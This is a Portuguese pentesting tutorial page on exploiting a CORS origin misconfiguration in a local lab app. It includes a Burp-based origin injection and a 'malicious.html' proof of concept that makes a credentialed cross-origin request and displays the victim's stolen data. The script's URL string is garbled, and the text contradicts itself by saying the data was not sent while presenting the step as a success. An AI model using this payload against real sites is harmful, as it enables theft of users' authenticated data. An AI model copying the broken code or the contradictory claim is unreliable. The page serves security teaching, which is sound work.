> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/cors-origin-pentesting-web.md).

# Configuração Incorreta de Origem do CORS

### Compartilhamento de Recursos entre Origens (CORS):

Todas essas informações estão disponíveis no site:

<figure><img src="/files/6f1011629961fa1d3b1972d782ae6002e20ddad0" alt="" width="563"><figcaption></figcaption></figure>

Interceptamos isso com o Burp Suite e observamos que dois campos "**Credenciais de controle de acesso**" e "**origin**" estão mal configurados na resposta:

<figure><img src="/files/f360db63595f94e499ee238251fe70a74c7e4105" alt=""><figcaption></figcaption></figure>

Adicionamos um **novo campo origin** na requisição com o link de uma página da web, por exemplo "google.com", e observamos que ele é aceito:

<figure><img src="/files/2154f4f9545b235f51088dc7982cf17493e0e9c8" alt=""><figcaption></figcaption></figure>

Criamos um arquivo web **malicious.html** que explora a vulnerabilidade com os campos origin e credentials:

```html
<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('GET', 'http://localhost:5000/confidentiathe , true);
   req.withCredentials = true;
   req.send();
   function reqListener() {
		document.getElementById("stolenInfo").innerHTML = req.responseText;
   }
</script>
<center><h1>Você foi hackeado, esta é a informação que roubei de você</h1></center>
<p id="stolenInfo"></p>

```

Com **Python**, criamos um servidor web:

<figure><img src="/files/9ede968f95455f7e0d79ed5932c65b4db33dcba0" alt=""><figcaption></figcaption></figure>

Acessamos nosso site e as informações confidenciais não foram **enviadas para o nosso site**:

<figure><img src="/files/9f2e595e5465bcf7aa7b805be83ac6ee17196585" alt=""><figcaption></figcaption></figure>

Se o CORS estivesse configurado corretamente, teríamos recebido o erro abaixo:

<figure><img src="/files/000a5e12121de2b4d10c413ec703ab0d1d99e097" alt=""><figcaption></figcaption></figure>


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